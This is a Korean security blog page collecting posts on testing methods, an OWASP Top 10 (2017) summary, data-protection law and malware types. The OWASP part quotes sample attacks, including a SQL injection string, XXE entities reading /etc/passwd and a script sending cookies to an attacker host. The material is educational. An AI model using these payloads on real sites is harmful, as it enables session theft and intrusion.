'Security/정보보호 잡지식'에 해당하는 글 10건

1. Blackbox Testing(블랙박스 테스트)

내부 설계 구조나 작동원리를 모르는 상태에서 동작을 검사하는 테스트방식에 해당한다.

올바른 값과, 올바르지 않은 값을 입력값으로 주어, 도출된 결과(올바른 결과가 도출되었는지)를 보고 판단하는 방식이 Blackbox testing이다.

블랙박스 테스트는 소프트웨어가 수행할 특정 기능을 알기 위해서  기능이 완전히 작동되는 것을 입증하는 테스트로, 기능 테스트라고도 한다.

  • 사용자의 요구사항 명세를 보면서 테스트하는 것으로, 주로 구현된 기능을 테스트한다.
  • 소프트웨어 인터페이스에서 실시되는 테스트이다.
  • 부정확하거나 누락된 기능, 인터페이스 오류, 자료 구조나 외부 데이터베이스 접근에 따른 오류, 행위나 성능 오류, 초기화와 종료 오류 등을 발견하기 위해 사용되며, 테스트 과정의 후반부에 적용된다.

2. Whitebox Testing(화이트박스 테스트)

응용 프로그램의 내부 구조와 로직(Logic)을 검사하는 테스트방식으로, 내부 소스코드를 테스트하는 방식을 예로 들 수 있다.

- 화이트박스 테스트는 소프트웨어, 모듈 등의 소스코드를 오픈시킨 상태에서 논리적인 모든 경로를 테스트하여  테스트 케이스를 설계하는 방법이다.

화이트박스 테스트

  • 화이트박스 테스트는 설계된 절차에 초점을 둔 구조를 분석하는 테스트며, 주로 테스트 과정의 초기에 적용된다.
  • 모듈 안의 작동을 직접 분석한다.
  • 소스코드(모듈)의 모든 문장을 한 번 이상 실행함으로써 수행된다.
  • 프로그램의 제어 구조에 따라 선택, 반복 등의 분기점 부분들을 수행함으로써 논리적 경로를 제어한다.

이 두가지 테스트방식은 단순 소프트웨어를 테스트할 때 뿐만 아니라, 보안에서도 쓰일 수 있다.

가령 홈페이지, 모바일 앱 취약점 점검 등 기능적인 부분을 테스트 할 때에는 Blackbox Testing 방식이라고 볼 수 있으며, 직접 홈페이지, 모바일 앱의 소스코드를 분석하여 논리구조(구성)를 이해하고 보안 취약점이 존재하는지 테스트 할 때에는 Whitebox Testing 이라고 볼 수 있다.

'Security > 정보보호 잡지식' 카테고리의 다른 글

OWASP TOP 10(2017) 간단 정리  (0) 2021.05.27
데이터 3법에 대하여  (0) 2020.03.29
악성코드란? 악성코드의 유형  (0) 2017.03.28
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

[OWASP TOP 10]

OWASP Top 10 : 개발자 및 웹 애플리케이션 보안을 위한 표준 문서

[2013 -> 2017 OWASP TOP 10]

1) A1 : 2017-Injection (삽입)

Exploitability(심각도) 3, Prevalence(발생빈도) 2, Detectability(탐지가능성) 3, Technical(기술적난이도) 3

- SQL, NoSQL, OS LDAP 삽입과 같은 삽입성 보안약점은 신뢰할 수없는 데이터가 명령 또는 쿼리의 일부로 인터프리터에 전송 될 때 발생합니다. 공격자 데이터는 인터프리터가 의도하지 않은 명령을 실행하거나 적절한 권한 없이 데이터에 액세스하도록 속일 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션은 다음과 같은 취약한 SQL 호출을 구성 할 때 신뢰할 수없는 데이터를 사용합니다. 시나리오 # 2 : 마찬가지로 프레임 워크에 대한 애플리케이션의 맹신 신뢰로 인해 여전히 취약한 쿼리가 발생할 수 있습니다 (: Hibernate Query Language (HQL)). 두 경우 모두 공격자는 브라우저에서 'id'매개 변수 값을 수정하여 '또는'1 '='1을 전송합니다. : 이렇게하면 accounts 테이블의 모든 레코드를 반환하도록 두 쿼리의 의미가 변경됩니다. 더 위험한 공격은 데이터를 수정 또는 삭제하거나 저장 프로 시저를 호출 할 수도 있습니다.

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

 

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

 

http://example.com/app/accountView?id=' or '1'='1

-----------------------------------------------------------------------------------------------

2) A2 : 2017-Broken Authentication (취약한 인증)

Exploitability(심각도) 3, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자가 암호, 키 또는 세션 토큰을 손상 시키거나 다른 구현 결함을 악용하여 다른 사용자의 신원을 일시적 또는 영구적으로 가정 할 수 있습니다.

 

* 무차별 대입 또는 기타 자동화 된 공격을 허용합니다.

* "Password1"또는 "admin / admin"과 같은 기본 암호, 취약하거나 잘 알려진 암호를 허용합니다.

* 안전하지 않은 "지식 기반 답변"과 같이 취약하거나 비효율적 인 자격 증명 복구 및 암호 분실 프로세스를 사용합니다.

* 일반 텍스트, 암호화 또는 약하게 해시 된 암호를 사용합니다. ( A3 : 2017- 민감한 데이터 노출 참조 ).

* 다단계 인증이 없거나 비효율적입니다.

* URL에 세션 ID를 노출합니다 (: URL 재 작성).

* 로그인 성공 후 세션 ID를 교체하지 않습니다.

* 세션 ID를 제대로 무효화하지 않습니다. 사용자 세션 또는 인증 토큰 (특히 SSO (Single Sign-On) 토큰)은 로그 아웃 또는 비활성 기간 동안 제대로 무효화되지 않습니다.

 

3) A3 : 2017-Sensitive Data Exposure(민감한 데이터 노출)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 공격자는 암호화를 직접 공격하는 대신 키를 훔치고, 중간자 공격을 실행하거나, 전송 중이거나 브라우저와 같은 사용자 클라이언트에서 서버에서 일반 텍스트 데이터를 가로챕니다.

- 가장 일반적인 결함은 단순히 민감한 데이터를 암호화하지 않는 것입니다. 암호화가 사용되면 약한 키 생성 및 관리, 약한 알고리즘, 프로토콜 및 암호 사용이 일반적이며 특히 약한 암호 해싱 저장 기술의 경우에 노출되기 쉽습니다. 전송중인 데이터의 경우 서버 측 약점은 주로 감지하기 쉽지만 미사용 데이터에는 어렵습니다.

 

* 데이터가 일반 텍스트로 전송되는지 확인필요(HTTP, SMTP FTP와 같은 프로토콜과 관련이 있음). 외부 인터넷 트래픽은 특히 위험합니다. 로드 밸런서, 웹 서버 또는 백엔드 시스템 간의 모든 내부 트래픽을 확인합니다.

* 기본적으로 또는 이전 코드에서 사용되는 오래되거나 취약한 암호화 알고리즘이 있습니까?

* 기본 암호화 키가 사용 중이거나 약한 암호화 키가 생성 또는 재사용되었거나 적절한 키 관리 또는 순환이 누락 되었습니까?

* 암호화가 적용되지 않습니까? 예를 들어 사용자 에이전트 (브라우저) 보안 지침 또는 헤더가 누락 되었습니까?

* 사용자 에이전트 (: , 메일 클라이언트)가 수신 된 서버 인증서가 유효한지 확인하지 않습니까?

 

4) A4 : 2017-XML External Entities (XXE) (XML 외부 엔터티(XXE))

Exploitability(심각도) 2, Prevalence(발생빈도) 2, Detectability(탐지가능성) 3, Technical(기술적난이도) 3

- 오래되거나 잘못 구성된 XML 프로세서는 XML 문서 내에서 외부 엔터티 참조를 평가합니다. 외부 엔터티는 파일 URI 처리기, 내부 파일 공유, 내부 포트 검색, 원격 코드 실행 및 서비스 거부 공격을 사용하여 내부 파일을 공개하는 데 사용할 수 있습니다.

- 공격자는 취약한 코드, 종속성 또는 통합을 악용하여 XML을 업로드하거나 XML 문서에 악의적인 코드를 포함 할 수 있는 경우 취약한 XML 프로세서를 악용 할 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 공격자가 서버에서 데이터 추출을 시도합니다. 시나리오 # 2 : 공격자가 위의 ENTITY 줄을 다음과 같이 변경하여 서버의 사설 네트워크를 조사합니다. 시나리오 # 3 : 공격자는 잠재적으로 무한한 파일을 포함하여 서비스 거부 공격을 시도합니다.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

 

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

 

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

-----------------------------------------------------------------------------------------------

5) A5:2017-Broken Access Control (취약한 접근제어)

Exploitability(심각도) 2, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 인증 된 사용자가 수행 할 수 있는 작업에 대한 제한이 종종 제대로 시행되지 않습니다. 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 액세스하고, 중요한 파일을 보고, 다른 사용자의 데이터를 수정하고, 액세스 권한을 변경하는 등의 무단 기능 및 데이터에 액세스 할 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

 

http://example.com/app/accountInfo?acct=notmyacct

 

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

-----------------------------------------------------------------------------------------------

6) A6:2017-Security Misconfiguration(보안 구성 오류)

Exploitability(심각도) 3, Prevalence(발생빈도) 3, Detectability(탐지가능성) 3, Technical(기술적난이도) 2

- 보안 구성 오류가 가장 일반적으로 발생하는 문제입니다. 이는 일반적으로 안전하지 않은 기본 구성, 불완전하거나 임시 구성, 개방형 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함 된 자세한 오류 메시지의 결과로 발생합니다. 모든 운영 체제, 프레임 워크, 라이브러리 및 애플리케이션을 안전하게 구성해야 할뿐만 아니라 적시에 패치 / 업그레이드를 해야합니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션 서버는 프로덕션 서버에서 제거되지 않은 샘플 애플리케이션과 함께 제공됩니다. 이러한 샘플 애플리케이션에는 공격자가 서버를 손상시키는 데 사용하는 알려진 보안 결함이 있습니다. 이러한 응용 프로그램 중 하나가 관리 콘솔이고 기본 계정이 변경되지 않은 경우 공격자는 기본 암호로 로그인하고 인계합니다.

시나리오 # 2 : 서버에서 디렉토리 목록이 비활성화되지 않습니다. 공격자는 단순히 디렉토리를 나열 할 수 있음을 발견합니다. 공격자는 컴파일 된 Java 클래스를 찾아 다운로드하여 코드를 보기 위해 디 컴파일 및 리버스 엔지니어링 합니다. 그런 다음 공격자는 애플리케이션에서 심각한 액세스 제어 결함을 발견합니다.

시나리오 # 3: 응용 프로그램 서버의 구성을 통해 스택 추적과 같은 자세한 오류 메시지를 사용자에게 반환 할 수 있습니다. 이는 취약한 것으로 알려진 구성 요소 버전과 같은 민감한 정보 또는 근본적인 결함을 잠재적으로 노출합니다.

시나리오 # 4 : 클라우드 서비스 공급자는 다른 CSP 사용자가 인터넷에 공개하는 기본 공유 권한을 가지고 있습니다. 이를 통해 클라우드 스토리지에 저장된 민감한 데이터에 액세스 할 수 있습니다.

-----------------------------------------------------------------------------------------------

7) A7:2017-Cross-Site Scripting XSS(크로스사이트 스크립트)

Exploitability(심각도) 3, Prevalence(발생빈도) 3, Detectability(탐지가능성) 3, Technical(기술적난이도) 2

- XSS 결함은 애플리케이션이 적절한 유효성 검사 또는 이스케이프없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나 HTML을 만들 수있는 브라우저 API를 사용하여 사용자가 제공 한 데이터로 기존 웹 페이지를 업데이트하거나 자바 스크립트, XSS를 통해 공격자는 피해자의 브라우저에서 스크립트를 실행하여 사용자 세션을 가로채거나 웹 사이트를 손상 시키거나 사용자를 악성 사이트로 리디렉션 할 수 있습니다.

 

[XSS3가지 종류]

* Reflected XSS : 응용 프로그램 또는 APIHTML 출력의 일부로 유효성 검사 및 이스케이프 처리되지 않은 사용자 입력을 포함합니다. 공격이 성공하면 공격자가 피해자의 브라우저에서 임의의 HTML JavaScript를 실행할 수 있습니다. 일반적으로 사용자는 악성 워터 링 홀 웹 사이트, 광고 등과 같이 공격자가 제어하는 ​​페이지를 가리키는 일부 악성 링크와 상호 작용해야합니다.

* Stored XSS : 응용 프로그램 또는 API는 나중에 다른 사용자 또는 관리자가 볼 수 있는 삭제되지 않은 사용자 입력을 저장합니다. 저장된 XSS는 종종 높거나 중요한 위험으로 간주됩니다.

* DOM XSS: 페이지에 공격자가 제어 할 수 있는 데이터를 동적으로 포함하는 JavaScript 프레임워크, 단일 페이지 애플리케이션 및 APIDOM XSS에 취약합니다. 이상적으로는 애플리케이션이 공격자가 제어 할 수있는 데이터를 안전하지 않은 JavaScript API로 보내지 않습니다.

 

일반적인 XSS 공격에는 세션 도용, 계정 탈취, MFA 우회, DOM 노드 교체 또는 손상 (트로이 목마 로그인 패널 등), 악성 소프트웨어 다운로드, 키 로깅 및 기타 클라이언트 측 공격과 같은 사용자 브라우저에 대한 공격이 포함됩니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션이 유효성 검사 또는 이스케이프없이 다음 HTML 스니펫의 구성에 신뢰할 수없는 데이터를 사용합니다 . 공격자는 브라우저에서 'CC'매개 변수를 다음과 같이 수정합니다. 이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로 전송됩니다. 공격자가 사용자의 현재 세션을 가로 채도록 허용합니다. 참고 : 공격자는 XSS를 사용하여 애플리케이션이 사용할 수 있는 자동화 된 CSRF (Cross-Site Request Forgery) 방어를 무력화 할 수 있습니다.

(String) page += "<input name='creditcard' type='TEXT'

value='" + request.getParameter("CC") + "'>";

 

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

-----------------------------------------------------------------------------------------------

8) A8:2017-Insecure Deserialization(안전하지 않은 역 직렬화)

Exploitability(심각도) 1, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 안전하지 않은 역 직렬화는 종종 원격 코드 실행으로 이어집니다. 역 직렬화 결함이 원격 코드 실행으로 이어지지 않더라도 재생 공격, 주입 공격 및 권한 상승 공격을 포함한 공격을 수행하는 데 사용될 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

 

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

-----------------------------------------------------------------------------------------------

9) A9:2017-Using Components with Known Vulnerabilities(알려진 취약점이 있는 구성 요소 사용)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 2, Technical(기술적난이도) 2

- 라이브러리, 프레임 워크 및 기타 소프트웨어 모듈과 같은 구성 요소는 애플리케이션과 동일한 권한으로 실행됩니다. 취약한 구성 요소가 악용되는 경우 이러한 공격은 심각한 데이터 손실이나 서버 탈취를 촉진 할 수 있습니다. 알려진 취약성이 있는 구성 요소를 사용하는 애플리케이션과 API는 애플리케이션 방어를 약화시키고 다양한 공격과 영향을 미칠 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 구성 요소는 일반적으로 응용 프로그램 자체와 동일한 권한으로 실행되므로 구성 요소의 결함으로 인해 심각한 영향을 받을 수 있습니다. 이러한 결함은 우발적 (: 코딩 오류) 또는 의도적 (: 구성 요소의 백도어) 일 수 있습니다. 발견 된 악용 가능한 구성 요소 취약점의 몇 가지 예는 다음과 같습니다.

* 서버에서 임의의 코드를 실행할 수 있는 Struts 2 원격 코드 실행 취약점 인 CVE-2017-5638 이 심각한 위반으로 인해 비난을 받았습니다.

* 사물 인터넷 (IoT) 은 패치하기가 어렵거나 불가능한 경우가 많지만 패치 적용의 중요성은 클 수 있습니다 (: 생체 의료 기기).

-----------------------------------------------------------------------------------------------

10) A10:2017-Insufficient Logging & Monitoring(불충분한 로깅 및 모니터링)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 1, Technical(기술적난이도) 2

 

- 불충분 한 로깅 및 모니터링은 사고 대응과의 누락 또는 비효율적 인 통합과 결합되어 공격자가 시스템을 추가 공격하고, 지속성을 유지하고, 더 많은 시스템으로 피벗하고, 데이터를 변조, 추출 또는 파괴 할 수 있습니다. 대부분의 침해 연구에 따르면 침해를 감지하는 데 걸리는 시간은 200 일 이상이며 일반적으로 내부 프로세스 또는 모니터링이 아닌 외부 당사자가 감지합니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 소규모 팀이 운영하는 오픈 소스 프로젝트 포럼 소프트웨어가 소프트웨어 결함을 사용하여 해킹 당했습니다. 공격자들은 다음 버전과 모든 포럼 콘텐츠가 포함 된 내부 소스 코드 저장소를 삭제했습니다. 소스는 복구 할 수 있지만 모니터링, 로깅 또는 경고의 부족으로 인해 훨씬 ​​더 심각한 침해가 발생했습니다. 이 문제로 인해 포럼 소프트웨어 프로젝트가 더 이상 활성화되지 않습니다.

시나리오 # 2 : 공격자는 공통 암호를 사용하여 사용자를 검색합니다. 이 비밀번호를 사용하여 모든 계정을 인계받을 수 있습니다. 다른 모든 사용자의 경우가 스캔은 하나의 잘못된 로그인 만 남겨 둡니다. 며칠 후 다른 암호로이 작업을 반복 할 수 있습니다.

시나리오 # 3: 미국의 한 주요 소매 업체가 첨부 파일을 분석하는 내부 맬웨어 분석 샌드 박스를 보유한 것으로 알려졌습니다. 샌드 박스 소프트웨어가 잠재적으로 원치 않는 소프트웨어를 감지했지만 아무도이 감지에 응답하지 않았습니다. 샌드박스는 외부 은행의 사기성 카드 거래로 인해 위반이 감지되기 ​​전에 한동안 경고를 생성했습니다.

-----------------------------------------------------------------------------------------------

'Security > 정보보호 잡지식' 카테고리의 다른 글

Whitebox Testing 과, Blackbox Testing 차이  (0) 2021.08.28
데이터 3법에 대하여  (0) 2020.03.29
악성코드란? 악성코드의 유형  (0) 2017.03.28
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

오늘은 데이터3법에 대해 소개하는 것으로, 정보보호 잡지식 첫 컨텐츠를 열어볼까합니다.

1. 데이터 3법이란? 

: 데이터 이용을 활성화하는「개인정보 보호법」,「정보통신망 이용촉진 및 정보보호 등에 관한 법률(정보통신망법)」,「신용정보의 이용 및 보호에 관한 법률(신용정보법)」등 3가지 법률을 통칭합니다.

핵심적인 내용은, 개인정보를 데이터로 활용 가능하도록 허용한다는 것입니다.

 

일반인의 개인정보란 이름, 생년월일, 주소, 주민등록번호 등 민감한 정보뿐만이 아니라 개인이 선호하는 장소, 음식, SNS 정보 등 개인의 멀티미디어 데이터 또한 무한히 많을 것입니다.

예를 들어 개인정보 데이터를 활용할 수 있게 된다면, 정부나 공공기관에서 개인들의 정보를 분석하기 위해 SNS로 많은 사람들이 방문하는 장소(예로 유명한 카페, 음식점 등)를 수집.분석하여, 해당 장소로의 교통 서비스(버스편 추가, 지하철 노선 확장 등)를 제공할 수 있음으로써, 삶의 질을 한 층 더 높일 수 있습니다. (조금 더 삶의 질이 향상되는 멋진 예시가 떠오르지 않아 죄송하네요ㅠ)

요약하면 이런 개인의 데이터를 정부, 기업 등에서 수집하고 분석하여 보다 나은 양질의 서비스를 제공할 수 있도록 데이터로 활용할 수 있게 된다는 뜻입니다.

 

장점?

이렇게 개인정보에 대한 데이터를 활용하게 되면 국민의 세금을 보다 실용적으로 사용 할 수 있을 것입니다.

또한 이런 개인정보도 종류가 무한한 만큼, 이를 수집하고 분석하여 통계내는 새로운 서비스나 일자리가 생기게 될 것입니다.

 

위에서 개인정보 데이터 활용에 대한 부분을 살펴보았고, 이제 데이터 3법 개정안의 핵심내용을 살펴보겠습니다.

1. '가명정보' 도입

: 개인정보의 체계는 '개인정보, 가명정보, 익명정보' 로 구분되며 개념마다 역할 및 취급사항도 다르게 규정됩니다. 가명정보란 특정 개인을 알아볼 수 없도록 처리한 정보로, 익명정보에 비해 많은 정보를 담고있어 데이터 활용에 유리해집니다.

2. 개인정보보호 체계 효율화 및 일원화

: 기존의 개인정보 보호법을 다루는 정부 기관들은 '행정안전부, 방송통신위원회, 금융위원회, 개인정보보호위원회' 등 이었습니다. 이렇게 법은 하나인데 다루는 기관들이 많으므로 각기 해석과 규제의 중복성이 발생하는 등 문제가 있어, 개정안에서 법 제도 및 감독 기관개인정보보호법 - 개인정보보호위원회일원화 하였습니다.

3. 데이터보안 강화 및 처벌 조항 강화

: 개인정보는 활용가치가 큰 만큼, 그만큼 유출되었을 때 사회적 문제를 야기할 수 있을만큼 민감한 데이터입니다. 따라서 이에 대한 보안을 강화하고, 처벌조항이 강화되어 질 것입니다.

(EU의 개인정보보호법(GDPR)이 강화된 것으로, 우리나라도 개인정보 사고 발생 시 규제와 처벌 등 강화될 것으로 보입니다.)

데이터 3법별로, 주요내용은 아래와 같이 참고하시면 될듯합니다.

법명 주요내용
개인정보보호법 - 가명정보 도입
- 정보주체의 동의 없이 이용가능한 개인정보 범위의 구체화
- 개인정보의 범위 명확화
- 개인정보 전담 기구 및 체계를 '개인정보보호위원회' 로 일원화 
정보통신망법 - 온라인 이용자들의 개인정보 규제 및 감독을 '개인정보보호위원회'로 이관
신용정보법 - 금융부냥 빅데이터 분석 및 이용 법적 근거 명확화
- 금융분야 마이데이터 산업 도입
- 금융분야 개인정보보호 강화

------------------------------------------------------------------------------------

<어떤 내용의 법안인지 직접 확인해보기!>

1. 네이버나 구글 등에서 '국회' 를 검색하고, 대한민국 국회 사이트로 들어간 후, 입법예고를 클릭합니다.

 

2.  위에서 국회입법예고 사이트로 이동하면 진행중이거나 종료된 법률(안)들을 확인할 수 있는데, 데이터 3법 관련내용은 종료된 입법예고에서 확인하시면 됩니다.

 

3. 종료된 입법예고에서 '개인정보' 혹은 '정보통신' 등의 키워드로 검색하여 데이터 3법을 검색한 후, 아래와 같이 검색되면 직접 클릭하셔서 세부 개정 법안내용을 파악하시면 될 듯합니다.

 

이상으로 데이터 3법에 대한 포스팅을 마칩니다. 부족한 부분이 있더라도 양해부탁드리며 제가 놓친부분이 있거나 기타 의견있으시면 댓글로 남겨주시면 감사드립니다^^

'Security > 정보보호 잡지식' 카테고리의 다른 글

Whitebox Testing 과, Blackbox Testing 차이  (0) 2021.08.28
OWASP TOP 10(2017) 간단 정리  (0) 2021.05.27
악성코드란? 악성코드의 유형  (0) 2017.03.28
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

악성코드(Malware)란 사용자 컴퓨터에 악의적인 영향을 끼칠 수 있는 모든 소프트웨어를 말합니다.


[악성코드의 유형]

1. 컴퓨터 바이러스 (Computer virus)

 정상적인 파일이나 시스템 영역에 침입하여 그곳에 자신의 코드를 삽입하거나 설치하는 프로그램을 칭하는 이름으로 감염 방법이나 동작 원리에 따라 메모리 상주형 바이러스, 파일 바이러스, 덮어쓰기, 은폐형 등 여러 가지로 세분화하여 나뉩니다.


2. (Worm)

 컴퓨터 바이러스처럼 다른 파일을 감염시키는 것이 아닌 자기 자신을 레지스트리에 등록하거나 복사본을 생성하여 전파하는 등의 독자적으로 실행되는 악성코드를 말합니다

 웜은 이메일에 첨부되어 확산되거나, P2P 파일 공유, 프로그램 보안 취약점, 네트워크 공유 기능 등을 이용하여 스스로 증식하여 빠르게 확산한다는 특징을 가지고 있습니다.


3. 트로이 목마 (Trojan horse)

 정상적인 소프트웨어의 형태를 띠지만 악의적인 행위를 포함하고 있는 악성코드를 말합니다

다른 파일을 감염하는 형태가 아닌 스스로 피해를 유발하는 악성코드를 말하며, 주로 웹페이지, 이메일, 파일 공유 사이트 등을 통해서 일반 프로그램으로 가장하여 사용자가 클릭하기를 기다리는 형태의 전파 방법을 사용합니다.


4. 스파이웨어 (Spyware)

 사용자의 PC에서 사전 동의 없이 설치되어 컴퓨터의 정보와 개인 정보를 수집하는 악성코드의 종류입니다. 신용카드와 같은 금융정보 및 주민등록번호와 같은 신상정보, 사이트 아이디나 비밀번호 등의 각종 정보를 수집하여 원격지의 특정 서버에 주기적으로 보내는 형태를 말합니다.


5. 백도어 (Backdoor)

 감염된 사용자 PC에 특정 포트를 열어두어 정상적인 인증 과정 없이 원격 접속을 통해 직접 조작하는 형태로, 사용자 몰래 특정 파일을 삭제하거나 파일이나 정보를 빼가는 등의 행위를 합니다

 백도어의 종류에는 여러 가지가 있는데

1) 로컬 백도어의 경우 기존의 일반 계정의 비밀번호를 알아낸 후 새로운 계정을 만들어 사용하는 것을 말하고, 2) 원격 백도어의 경우에는 따로 시스템 계정이 필요하지 않으며, 원격에서 공격자가 지정한 포트를 통해 접속하여 사용합니다. 원격 GUI 백도어의 경우 원격관리 툴과 같은 형태로 직접 마우스를 제어하며 조작하는 형태입니다.


6. 키로거 (Keylogger)

 컴퓨터가 입력받는 정보를 기록하는 것으로 그 중에서도 주로 키보드를 통한 메시지를 중간에 가로채서 기록하는 형태를 말합니다. 키로거 탐지를 위한 다양한 키보드 보안 솔루션이 나왔지만 이에 대응하는 새로운 방식의 키로거가 계속해서 나오고 있습니다. 초기 키로거가 단순히 윈도우 메시지를 후킹하는 형태였지만, 루트킷을 이용하여 점차 고도화 된 기술의 키로거로 변화하고 있습니다.


7. 드롭퍼 (Dropper)

 일종의 악성 프로그램의 설치 프로그램의 형태로, 실행 시 내부에 포함되어 있던 바이러스나 웜, 또는 트로이 목마 등의 악의적인 프로그램이 설치되는 형태의 악성코드를 말합니다. 백신 프로그램에서 악성코드가 실행된 후 의심스러운 행위를 탐지하여 차단하는 방법 등 대응 방법을 우회하기 위해 프로그램 실행 자체에서는 파일 설치 이외의 아무 행위를 하지 않고, 일정 시간이 지난 후 악성코드를 실행하는 등의 시간차를 이용합니다.


8. 다운로더 (Downloader)

 프로그램에서 지정한 웹 사이트에 접속하여 추가 악성코드를 다운로드하여 실행시키는 악성코드입니다. 다운로더는 드롭퍼와 같이 백신 프로그램을 우회하는 목적으로 사용됩니다.


9. 다형성 바이러스 (Polymorphic virus)

 다형성 바이러스의 경우, 원본 바이너리에서 같은 기능을 수행하지만 형태는 달라지는 악성코드로, 바이너리 고유 패턴을 변경시켜 휴리스틱 기반의 백신 업체들의 감염여부를 파악하기 어렵게 하여 추적을 피하려는 목적의 악성코드입니다.


10. 애드웨어 (Adware)

 상업용 광고 목적으로 만들어진 악성코드로, 웹 브라우저 시작페이지 변경, BHO(Browser Helper Object) 객체를 이용하여 팝업 윈도우 생성 등의 동작을 합니다. 애드웨어와 비슷한 형태로는 하이재커(Hijacker)라는 툴바 설치 등의 브라우저 형태 자체를 변경시키는 악성코드가 있습니다.


11. 랜섬웨어 (Ransomware)

 랜섬웨어란 사용자의 문서와 사진 등을 암호화 시켜 일정 시간 안에 일정 금액을 지불하면 암호를 풀어주는 방식으로 사용자에게 금전적인 요구를 하는 악성코드를 말합니다.


12. 루트킷 (Rootkit)

 악의적인 행동을 하는 프로그램을 숨기기 위한 목적으로 시작된 악성코드로, 현재는 프로세스나 파일 등의 흔적을 사용자가 볼 수 없도록 하는 프로그램에 대한 이름으로 사용됩니다. 루트킷의 설치 위치는 커널, 가상화 계층, 부트로더, 펌웨어, 라이브러리 등 다양한 위치에서 작동될 수 있습니다.


13. 부트킷 (Bootkit)

 PC의 부팅영역인 MBR(Master Boot Record)를 조작하는 프로그램을 칭하는 이름으로, 크게 파괴형 부트킷과 은신형 부트킷으로 나뉩니다

 1) 파괴형 부트킷이란 MBR(Master Boot Record)VBR(Volume Boot Record)를 의미 없는 문자열 등으로 덮어씌워 부팅 시 시스템 정보를 읽어오지 못하게 만드는 형태이고

 2) 은신형 부트킷의 경우 부트섹터의 빈 영역에 악성코드를 설치하여 백신이 탐지하지 않게 만드는 형태를 말합니다.

'Security > 정보보호 잡지식' 카테고리의 다른 글

OWASP TOP 10(2017) 간단 정리  (0) 2021.05.27
데이터 3법에 대하여  (0) 2020.03.29
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13
Whois 서버 이용해보기  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

Scan(스캔)은 방화벽과 IDS(침입 탐지 시스템)을 우회하기 위하여 발전했으며, 종류가 매우 다양합니다.

서버의 동작여부를 알아보는 가장 기본적인 스캔은 ping 을 이용하는 것입니다.

검사하고자하는 네트워크에서 동작하는 서버를 찾아내는 일은 공격대상 네트워크에서 공격대상의 IP주소를 결정하는데에 매우 중요합니다.


ping은 네트워크와 시스템이 정상적으로 작동하는지 확인하기 위한 간단한 유틸리티입니다.

ping은 ICMP(Internet Control Message Protocol)을 사용하며, 기본적으로 TCP/IP 네트워크에서 사용됩니다. 넷웨어(Netware)같이 다른 프로토콜 체제를 쓰는 네트워크에서는 ping 유틸리티도 다릅니다. 따라서 모든 네트워크에 ping이 있는것은 아닙니다.

(* Netware : 가장 광범위하게 설치되었던 노벨(Novell)의 네트워크 서버 운영체제

* ICMP : 호스트서버와 인터넷 게이트웨이 사이에서 메시지를 제어하고 오류를 알려주는 프로토콜 )


ICMP를 이용해 공격대상 시스템의 활성화 여부를 알아보는 방법은 아래 네가지입니다.

1. Echo Request와 Echo Reply를 이용한 방법 (가장 일반적인 방법으로, 일반적으로 옵션없이 ping을 사용하면 됩니다.)

2. Timestamp Request와 Timestamp Reply를 이용한 방법

3. Information Request와 Information Reply를 이용한 방법

4. ICMP Address Mask Request와 ICMP Address Mask Reply를 이용한 방법


ping을 이용한 테스트로는 지난 포스팅에서 ping test를 해보았으므로 참고하시면 됩니다.

라우터나 방화벽 등에서 ICMP Echo Request패킷을 막는 경우가 있는데, 이 때 이용할 수 있는 방법으로 위의 2, 3, 4 번입니다.


